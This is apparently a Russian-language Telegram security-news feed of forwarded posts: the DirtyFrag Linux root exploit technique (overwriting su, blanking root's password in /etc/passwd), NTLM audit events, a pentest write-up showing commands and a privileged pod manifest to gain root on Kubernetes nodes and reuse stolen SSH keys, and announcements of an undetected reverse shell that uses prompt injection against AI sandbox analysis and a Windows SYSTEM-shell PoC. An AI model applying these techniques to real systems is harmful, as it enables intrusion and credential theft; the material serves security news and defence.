В ядре Linux выявлены две уязвимости, по своей сути аналогичные несколько дней назад раскрытой уязвимости Copy Fail, но проявляющиеся в других подсистемах - xfrm-ESP и RxRPC. Серии уязвимостей присвоено кодовое имя Dirty Frag (также встречается упоминание Copy Fail 2). Уязвимости позволяют непривилегированному пользователю получить права root, перезаписав данные процесса в страничном кэше. Доступен эксплоит, работающий во всех актуальных дистрибутивах Linux. Информация об уязвимости раскрыта до публикации исправлений, но есть обходной метод блокирования проблемы.
🔗Ссылка:
https://opennet.me/65395/
🔗Ссылка:
https://opennet.me/65395/
Forwarded from Blue (h/c)at Café
Неделю назад я писал про CVE-2026-31431 - 732 байта Python и ты root. Баг в крипто-подсистеме ядра, через splice() и page cache. Казалось бы - ну нашли, ну пропатчили, живём дальше
А вчера V4bel выкатил DirtyFrag. Два новых бага того же класса. Тот же принцип - через splice() загоняем страницы файла в ядерную криптографию, ядро расшифровывает "на месте" и перезаписывает содержимое прямо в page cache. Только теперь не через AF_ALG, а через два других модуля - ESP (IPsec) и RxRPC
Первый - через ESP. Создаём XFRM-ассоциацию с UDP-инкапсуляцией, засовываем страницы /usr/bin/su в пайплайн через splice(), ядро делает in-place расшифровку и пишет 4 байта куда мы скажем. Повторяем - записываем 192-байтный шеллкод поверх su. Запускаем su - получаем root. Звучит знакомо? Это буквально тот же паттерн, что и Copy Fail, только через другую подсистему. Баг в ядре с января 2017 года
Второй - через RxRPC, и вот тут красиво. Вместо перезаписи бинарника - патчим /etc/passwd. Создаём rxkad-токен с нужным ключом шифрования, ядро через rxkad_verify_packet_1() делает pcbc(fcrypt) расшифровку прямо по странице файла. Три splice-операции с перекрытием - и строка root:x:0:0: превращается в root::0:0:. Пустой пароль. su root, Enter, всё. Причём нужный ключ шифрования подбирается в юзерспейсе - полностью офлайн, без единого обращения к ядру. Один детерминированный триггер в конце. Этот баг с июня 2023 года
Ни одной гонки. Ни одного race condition. Детерминированная логика - настроил параметры, дёрнул расшифровку, page cache перезаписан. Если что-то пошло не так - ядро не падает, можно повторить
Проверено на Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. Компилируется одной строкой:
gcc -O0 -Wall -o exp exp.c -lutil
И вот тут начинается самое интересное - CVE нет. Патча нет. Ни для одного дистрибутива. Потому что кто-то сломал эмбарго до того, как вендоры успели выкатить фиксы. Исследователь связался с linux-distros@openwall, те попросили опубликовать - и он опубликовал. Полный исходник, компиляция, запуск. На момент публикации - zero-day в чистом виде
Что мы имеем. Dirty Pipe в 2022 - page cache через пайпы. Copy Fail неделю назад - page cache через AF_ALG. DirtyFrag вчера - page cache через ESP и RxRPC. Три разных подсистемы, один и тот же баг-класс. Ядро Linux полно мест, где криптооперации делаются «на месте» по данным из splice(). Каждое такое место - потенциальная запись в page cache. Сколько ещё таких мест в ядре - вопрос открытый. Подозреваю - не мало
Митигация прямо сейчас (патча-то нет):
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null
Что может сломаться - ESP модули нужны для IPsec VPN. Если у вас site-to-site IPsec или strongSwan - подумайте дважды. RxRPC на Ubuntu загружен по умолчанию, но реально его использует только AFS (Andrew File System). Если у вас нет AFS - смело отключайте
Три года, девять лет. Два бага лежали рядом и ждали. Один исследователь, один эксплойт, один claude, все дистрибутивы. И на момент публикации - ни одного патча. Вот вам и координированное раскрытие
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from purple shift
В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM.
Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-channel binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.
Поэтому обращаем внимание на новые события:
— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”
Эти события можно использовать для детектирования coercing-атак либо для анализа нетипичных настроек NTLM-аутентификации.
На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего.
Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-channel binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.
Поэтому обращаем внимание на новые события:
— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”
Эти события можно использовать для детектирования coercing-атак либо для анализа нетипичных настроек NTLM-аутентификации.
На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего.
Forwarded from 1N73LL1G3NC3
ReverseShell_2026_05.ps1
ReverseShell with AI behaviour analysis bypass (prompt injection targeting sandbox analysis). As of May 4, 2026, undetected by all antivirus engines (0/61). These files typically remain usable for about 2–3 weeks before antivirus vendors begin flagging them.
ReverseShell with AI behaviour analysis bypass (prompt injection targeting sandbox analysis). As of May 4, 2026, undetected by all antivirus engines (0/61). These files typically remain usable for about 2–3 weeks before antivirus vendors begin flagging them.
Forwarded from purple shift
Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.
На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с
К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:
Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.
Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):
Команда для создания пода:
После создания пода запустили
Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными
После получения привилегированного доступа на одной из нод в файле
А в директории
К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.
Выводы:
Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.
Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.
Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.
На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с
common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:
proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets
Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.
Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: <my-pod>
name: <my-pod>
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- 2d
image: <link_to_image>
name: <my-pod>
volumeMounts:
- mountPath: /mnt/
name: host-filesystem
resources: {}
securityContext:
privileged: true
runAsUser: 0
dnsPolicy: ClusterFirst
restartPolicy: Always
nodeName: <node_name>
hostNetwork: true
hostPID: true
hostIPC: true
status: {}
Команда для создания пода:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>
После создания пода запустили
bash и изменили корневую директорию на корневую директорию ноды:HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash
chroot /mnt
Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными
nodeName для исполнения на каждой ноде. После получения привилегированного доступа на одной из нод в файле
/opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории: https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java
А в директории
/home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев. git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back
К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.
Выводы:
Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.
Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.
Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.
🔥2
Forwarded from 1N73LL1G3NC3
MiniPlasma (Windows unpatched LPE)
CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.
CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.